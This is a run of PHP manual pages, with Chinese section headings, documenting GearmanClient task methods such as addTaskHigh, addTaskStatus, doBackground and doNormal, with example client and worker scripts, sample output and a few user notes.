This example illustrates the difference between running a background task and a normal task. The client adds two tasks to execute the same function, but one is added with addTaskBackground(). A callback is set so that progress of the job can be tracked. A simple worker with an artificial delay reports on the job progress and the client picks this up through the callback. Two workers are run for this example. Note that the background task does not show in the client output.

<?php

# The client script

# create our gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set a couple of callbacks so we can track progress
$gmc->setCompleteCallback("reverse_complete");
$gmc->setStatusCallback("reverse_status");

# add a task for the "reverse" function
$task= $gmc->addTask("reverse", "Hello World!", null, "1");

# add another task, but this one to run in the background
$task= $gmc->addTaskBackground("reverse", "!dlroW olleH", null, "2");

if (! $gmc->runTasks())
{
echo "ERROR " . $gmc->error() . "\n";
exit;
}

echo "DONE\n";

function reverse_status($task)
{
echo "STATUS: " . $task->unique() . ", " . $task->jobHandle() . " - " . $task->taskNumerator() .
"/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>
<?php

# The worker script

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

?>

Worker output for two workers running:

Received job: H:foo.local:65
Workload: !dlroW olleH (12)
1/12 complete
Received job: H:foo.local:66
Workload: Hello World! (12)
Sending status: 1/12 complete
Sending status: 2/12 complete
Sending status: 2/12 complete
Sending status: 3/12 complete
Sending status: 3/12 complete
Sending status: 4/12 complete
Sending status: 4/12 complete
Sending status: 5/12 complete
Sending status: 5/12 complete
Sending status: 6/12 complete
Sending status: 6/12 complete
Sending status: 7/12 complete
Sending status: 7/12 complete
Sending status: 8/12 complete
Sending status: 8/12 complete
Sending status: 9/12 complete
Sending status: 9/12 complete
Sending status: 10/12 complete
Sending status: 10/12 complete
Sending status: 11/12 complete
Sending status: 11/12 complete
Sending status: 12/12 complete
Sending status: 12/12 complete
Result: !dlroW olleH
Result: Hello World!

Client output:

STATUS: 1, H:foo.local:66 - 1/12
STATUS: 1, H:foo.local:66 - 2/12
STATUS: 1, H:foo.local:66 - 3/12
STATUS: 1, H:foo.local:66 - 4/12
STATUS: 1, H:foo.local:66 - 5/12
STATUS: 1, H:foo.local:66 - 6/12
STATUS: 1, H:foo.local:66 - 7/12
STATUS: 1, H:foo.local:66 - 8/12
STATUS: 1, H:foo.local:66 - 9/12
STATUS: 1, H:foo.local:66 - 10/12
STATUS: 1, H:foo.local:66 - 11/12
STATUS: 1, H:foo.local:66 - 12/12
COMPLETE: 1, !dlroW olleH
DONE

参见

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

iunknowvb at gmail dot com 07-Oct-2017 06:35
function run_process($cmd,$outputFile = '/dev/null', $append = false){
                        $pid=0;
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            $cmd = 'wmic process call create "'.$cmd.'" | find "ProcessId"';
                            $handle = popen("start /B ". $cmd, "r");
                            $read = fread($handle, 200); //Read the output
                            $pid=substr($read,strpos($read,'=')+1);
                            $pid=substr($pid,0,strpos($pid,';') );
                            $pid = (int)$pid;
                            pclose($handle); //Close
                    }else{
                        $pid = (int)shell_exec(sprintf('%s %s %s 2>&1 & echo $!', $cmd, ($append) ? '>>' : '>', $outputFile));
                    }
                        return $pid;
                }
                function is_process_running($pid){
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            //tasklist /FI "PID eq 6480"
                        $result = shell_exec('tasklist /FI "PID eq '.$pid.'"' );
                        if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                            return true;
                        }
                    }else{
                        $result = shell_exec(sprintf('ps %d 2>&1', $pid));
                        if (count(preg_split("/\n/", $result)) > 2 && !preg_match('/ERROR: Process ID out of range/', $result)) {
                            return true;
                        }
                    }
                    return false;
                }
                function stop_process($pid){
                        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                                $result = shell_exec('taskkill /PID '.$pid );
                            if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                                return true;
                            }
                        }else{
                                $result = shell_exec(sprintf('kill %d 2>&1', $pid));
                            if (!preg_match('/No such process/', $result)) {
                                return true;
                            }
                        }
                }
                    $cmd='';
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                         $cmd=  $php_path.'\php.exe '.$path.'\long_process.php' ;
                    }else{
                        $cmd='/usr/bin/php -f  /var/www/example.com/public/long_process.php';
                    }

$pid=run_process($cmd);
raitech at gmail dot com 12-Nov-2015 10:47
This method seems only useful when you doesn't need to know something about the worker, when you can let runTasks() finishes its code and destroy the GearmanClient object without a problem.

If you need to get data from worker via callbacks, forget it after runTasks() finishes.

You have to block your execution in the GearmanClient "main loop", so it can call the callbacks. It seems that runTasks() is that "main loop".
Anonymous 31-Aug-2015 08:02
It is unlikely this example works quite as advertised.

The foreground job will block, however the background job should not.. (and if it does that's not documented Gearman behaviour far as I know and would not make sense for a Background job).

So, if the foreground job completes, then we would expect runTasks() to return at that moment, regardless of the status of the background job(s). With nothing else to do, the php script (the client) in this example would exit at that point.

To fully-utilize background jobs, it's reasonable to assume that we still wish to know their status. To do that, you need a polling loop that "checks up on them" and waits until their completion.

That eliminates the point of background jobs of course - because the client would still be Blocking (in a polling loop) more or less occupied, and unable to exit/finish.

So, in practice, background jobs mean you are decoupled from the client upon execution (because the main point is to free up the client, otherwise just use foreground execution), which means the client is likely going to exit, meaning the jobs themselves should be reporting their status and final result independently, not leaving it up to the client.

It's a significantly different setup compared to foreground jobs. In fact this example is kind of silly to even mix the two.

Nobody will ever see this post, because apparently nobody in the world has ever commented on the php gearman client, but it's a good post never the less.


Add a high priority task to run in parallel

  • ? GearmanClient::addTaskBackground
  • GearmanClient::addTaskHighBackground ?
  • PHP Manual
  • GearmanClient
  • Add a high priority task to run in parallel

GearmanClient::addTaskHigh

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHigh — Add a high priority task to run in parallel

说明

public GearmanClient::addTaskHigh(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a high priority task to be run in parallel with other tasks. Call this method for all the high priority tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

示例

Example #1 A high priority task along with two normal tasks

A high priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the high priority task run first.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is high priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskHigh("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
echo "ERROR " . $gmc->error() . "\n";
exit;
}
echo "DONE\n";

function reverse_complete($task)
{
echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

以上示例的输出类似于：

COMPLETE: 2, Hello World!
COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
DONE

参见

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a high priority background task to be run in parallel

  • ? GearmanClient::addTaskHigh
  • GearmanClient::addTaskLow ?
  • PHP Manual
  • GearmanClient
  • Add a high priority background task to be run in parallel

GearmanClient::addTaskHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel

说明

public GearmanClient::addTaskHighBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a high priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

参见

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority task to run in parallel

  • ? GearmanClient::addTaskHighBackground
  • GearmanClient::addTaskLowBackground ?
  • PHP Manual
  • GearmanClient
  • Add a low priority task to run in parallel

GearmanClient::addTaskLow

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLow — Add a low priority task to run in parallel

说明

public GearmanClient::addTaskLow(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or low priority.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

示例

Example #1 A low priority task along with two normal tasks

A low priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the low priority task run last.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is low priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskLow("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
echo "ERROR " . $gmc->error() . "\n";
exit;
}
echo "DONE\n";

function reverse_complete($task)
{
echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

以上示例的输出类似于：

COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
COMPLETE: 2, Hello World!
DONE

参见

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a low priority background task to be run in parallel

  • ? GearmanClient::addTaskLow
  • GearmanClient::addTaskStatus ?
  • PHP Manual
  • GearmanClient
  • Add a low priority background task to be run in parallel

GearmanClient::addTaskLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel

说明

public GearmanClient::addTaskLowBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a low priority background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a low priority will be selected from the queue after those of normal or high priority.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

参见

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a task to get status

  • ? GearmanClient::addTaskLowBackground
  • GearmanClient::clearCallbacks ?
  • PHP Manual
  • GearmanClient
  • Add a task to get status

GearmanClient::addTaskStatus

(PECL gearman >= 0.5.0)

GearmanClient::addTaskStatus — Add a task to get status

说明

public GearmanClient::addTaskStatus(string $job_handle, mixed $context = null): GearmanTask|false

Used to request status information from the Gearman server, which will call the specified status callback (set using GearmanClient::setStatusCallback()).

参数

job_handle

The job handle for the task to get status for

context

Data to be passed to the status callback, generally a reference to an array or object

返回值

A GearmanTask object or false on failure.

示例

Example #1 Monitor completion of multiple background tasks

An artificial delay is introduced in the worker in this example to simulate a long running process. There is only one worker running for this example.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* start some background jobs and save the handles */
$handles = array();
$handles[0] = $gmclient->doBackground("reverse", "Hello World!");
$handles[1] = $gmclient->doBackground("reverse", "!dlroW olleH");

$gmclient->setStatusCallback("reverse_status");

/* Poll the server to see when those background jobs finish; */
/* a better method would be to use event callbacks */
do
{
/* Use the context variable to track how many tasks have completed */
$done = 0;
$gmclient->addTaskStatus($handles[0], &$done);
$gmclient->addTaskStatus($handles[1], &$done);
$gmclient->runTasks();
echo "Done: $done\n";
sleep(1);
}
while ($done != 2);

function reverse_status($task, $done)
{
if (!$task->isKnown())
$done++;
}

?>

以上示例的输出类似于：

Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 0
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 1
Done: 2

参见

  • GearmanClient::setStatusCallback() - Set a callback for collecting task status

User Contributed Notes

There are no user contributed notes for this page.


Clear all task callback functions

  • ? GearmanClient::addTaskStatus
  • GearmanClient::clone ?
  • PHP Manual
  • GearmanClient
  • Clear all task callback functions

GearmanClient::clearCallbacks

(PECL gearman >= 0.5.0)

GearmanClient::clearCallbacks — Clear all task callback functions

说明

public GearmanClient::clearCallbacks(): bool

Clears all the task callback functions that have previously been set.

参数

此函数没有参数。

返回值

Always returns true.

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Create a copy of a GearmanClient object

  • ? GearmanClient::clearCallbacks
  • GearmanClient::__construct ?
  • PHP Manual
  • GearmanClient
  • Create a copy of a GearmanClient object

GearmanClient::clone

(PECL gearman >= 0.5.0)

GearmanClient::clone — Create a copy of a GearmanClient object

说明

public GearmanClient::clone(): GearmanClient

Creates a copy of a GearmanClient object.

参数

此函数没有参数。

返回值

A GearmanClient on success, false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanClient instance

  • ? GearmanClient::clone
  • GearmanClient::context ?
  • PHP Manual
  • GearmanClient
  • Create a GearmanClient instance

GearmanClient::__construct

(PECL gearman >= 0.5.0)

GearmanClient::__construct — Create a GearmanClient instance

说明

public GearmanClient::__construct()

Creates a GearmanClient instance representing a client that connects to the job server and submits tasks to complete.

参数

此函数没有参数。

返回值

A GearmanClient object.

参见

  • GearmanClient::clone() - Create a copy of a GearmanClient object

User Contributed Notes

There are no user contributed notes for this page.


Get the application context

  • ? GearmanClient::__construct
  • GearmanClient::data ?
  • PHP Manual
  • GearmanClient
  • Get the application context

GearmanClient::context

(PECL gearman >= 0.6.0)

GearmanClient::context — Get the application context

说明

public GearmanClient::context(): string

Get the application context previously set with GearmanClient::setContext().

参数

此函数没有参数。

返回值

The same context data structure set with GearmanClient::setContext()

参见

  • GearmanClient::setContext() - Set application context

User Contributed Notes

There are no user contributed notes for this page.


Get the application data (deprecated)

  • ? GearmanClient::context
  • GearmanClient::do ?
  • PHP Manual
  • GearmanClient
  • Get the application data (deprecated)

GearmanClient::data

(PECL gearman <= 0.5.0)

GearmanClient::data — Get the application data (deprecated)

说明

public GearmanClient::data(): string

Get the application data previously set with GearmanClient::setData().

Note:

This method was replaced by GearmanClient::setContext() in the 0.6.0 release of the Gearman extension.

参数

此函数没有参数。

返回值

The same string data set with GearmanClient::setData()

参见

  • GearmanClient::setData() - Set application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result [deprecated]

  • ? GearmanClient::data
  • GearmanClient::doBackground ?
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result [deprecated]

GearmanClient::do

(PECL gearman >= 0.5.0)

GearmanClient::do — Run a single task and return a result [deprecated]

说明

public GearmanClient::do(string $function_name, string $workload, string $unique = ?): string

The GearmanClient::do() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::doNormal().

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

A string representing the results of running a task.

示例

Example #1 Simple job submission with immediate return

<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

以上示例的输出类似于：

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::do() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
$result = $gmclient->doNormal("reverse", "Hello!");
# Check for various return packets and errors.

switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Data: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Status: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Failed\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
echo "Error: " . $gmclient->error() . "\n";
echo "Errno: " . $gmclient->getErrno() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

?>

以上示例的输出类似于：

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

参见

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

Shane Harter 15-Jun-2010 11:41
Note that this isn't blocking -- that do() will return as soon as the job is accepted by the Gearman jobserver.

That lets you do..while until the return code is success or failure as you see in the examples.


Run a task in the background

  • ? GearmanClient::do
  • GearmanClient::doHigh ?
  • PHP Manual
  • GearmanClient
  • Run a task in the background

GearmanClient::doBackground

(PECL gearman >= 0.5.0)

GearmanClient::doBackground — Run a task in the background

说明

public GearmanClient::doBackground(string $function, string $workload, ?string $unique = null): string

Runs a task in the background, returning a job handle which can be used to get the status of the running task.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

The job handle for the submitted task.

示例

Example #1 Submit and monitor a background job

The worker in this example has an artificial delay introduced to mimic a long running job. The client script periodically checks the status of the running job.

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "bad return code\n";
exit;
}

$done = false;
do
{
sleep(3);
$stat = $gmclient->jobStatus($job_handle);
if (!$stat[0]) // the job is known so it is not done
$done = true;
echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denominator: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

以上示例的输出类似于：

Running: true, numerator: 3, denominator: 14
Running: true, numerator: 6, denominator: 14
Running: true, numerator: 9, denominator: 14
Running: true, numerator: 12, denominator: 14
Running: false, numerator: 0, denominator: 0
done!

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

felix at passcod dot name 18-Aug-2017 01:16
Behaviour of the unique ID argument:

If it's not provided, it defaults to a UUIDv1 (timestamp + mac address).

Otherwise, if a job with the same unique ID exists (i.e. is either queued or currently executing), then that job is used, not the one you're submitting. This does not apply to past (completed) jobs, and works across the entire job server pool, assuming no partitioning.

Or with code (the values in [brackets] are the server-assigned job identifiers):

<?php

$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Starts sleep(3)
$gearman->doBackground('sleep', '5', '456'); // [H:host:2] Queues sleep(5)
$gearman->doBackground('sleep', '3', '123'); // [H:host:1] Does nothing
$gearman->doBackground('sleep', '1', '123'); // [H:host:1] Also does nothing (diff args don't trigger new jobs)

sleep (3);
// Job 123 [sleep(3)] has finished by now

$gearman->doBackground('sleep', '3', '123'); // [H:host:3] Starts a new job

?>


Run a single high priority task

  • ? GearmanClient::doBackground
  • GearmanClient::doHighBackground ?
  • PHP Manual
  • GearmanClient
  • Run a single high priority task

GearmanClient::doHigh

(PECL gearman >= 0.5.0)

GearmanClient::doHigh — Run a single high priority task

说明

public GearmanClient::doHigh(string $function, string $workload, ?string $unique = null): string

Runs a single high priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. High priority tasks will get precedence over normal and low priority tasks in the job queue.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

A string representing the results of running a task.

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a high priority task in the background

  • ? GearmanClient::doHigh
  • GearmanClient::doJobHandle ?
  • PHP Manual
  • GearmanClient
  • Run a high priority task in the background

GearmanClient::doHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::doHighBackground — Run a high priority task in the background

说明

public GearmanClient::doHighBackground(string $function, string $workload, ?string $unique = null): string

Runs a high priority task in the background, returning a job handle which can be used to get the status of the running task. High priority tasks take precedence over normal and low priority tasks in the job queue.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

The job handle for the submitted task.

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle for the running task

  • ? GearmanClient::doHighBackground
  • GearmanClient::doLow ?
  • PHP Manual
  • GearmanClient
  • Get the job handle for the running task

GearmanClient::doJobHandle

(PECL gearman >= 0.5.0)

GearmanClient::doJobHandle — Get the job handle for the running task

说明

public GearmanClient::doJobHandle(): string

Gets that job handle for a running task. This should be used between repeated GearmanClient::doNormal() calls. The job handle can then be used to get information on the task.

参数

此函数没有参数。

返回值

The job handle for the running task.

参见

  • GearmanClient::jobStatus() - Get the status of a background job

User Contributed Notes

There are no user contributed notes for this page.


Run a single low priority task

  • ? GearmanClient::doJobHandle
  • GearmanClient::doLowBackground ?
  • PHP Manual
  • GearmanClient
  • Run a single low priority task

GearmanClient::doLow

(PECL gearman >= 0.5.0)

GearmanClient::doLow — Run a single low priority task

说明

public GearmanClient::doLow(string $function, string $workload, ?string $unique = null): string

Runs a single low priority task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result. Normal and high priority tasks will get precedence over low priority tasks in the job queue.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

A string representing the results of running a task.

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a low priority task in the background

  • ? GearmanClient::doLow
  • GearmanClient::doNormal ?
  • PHP Manual
  • GearmanClient
  • Run a low priority task in the background

GearmanClient::doLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::doLowBackground — Run a low priority task in the background

说明

public GearmanClient::doLowBackground(string $function, string $workload, ?string $unique = null): string

Runs a low priority task in the background, returning a job handle which can be used to get the status of the running task. Normal and high priority tasks take precedence over low priority tasks in the job queue.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

The job handle for the submitted task.

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background

User Contributed Notes

There are no user contributed notes for this page.


Run a single task and return a result

  • ? GearmanClient::doLowBackground
  • GearmanClient::doStatus ?
  • PHP Manual
  • GearmanClient
  • Run a single task and return a result

GearmanClient::doNormal

(No version information available, might only be in Git)

GearmanClient::doNormal — Run a single task and return a result

说明

public GearmanClient::doNormal(string $function, string $workload, ?string $unique = null): string

Runs a single task and returns a string representation of the result. It is up to the GearmanClient and GearmanWorker to agree on the format of the result.

参数

function

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

unique

用于标识特定任务的唯一性 ID。

返回值

A string representing the results of running a task.

示例

Example #1 Simple job submission with immediate return

<?php

?>
<?php

# Client code

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

$result = $gmclient->doNormal("reverse", "Hello!");

echo "Success: $result\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
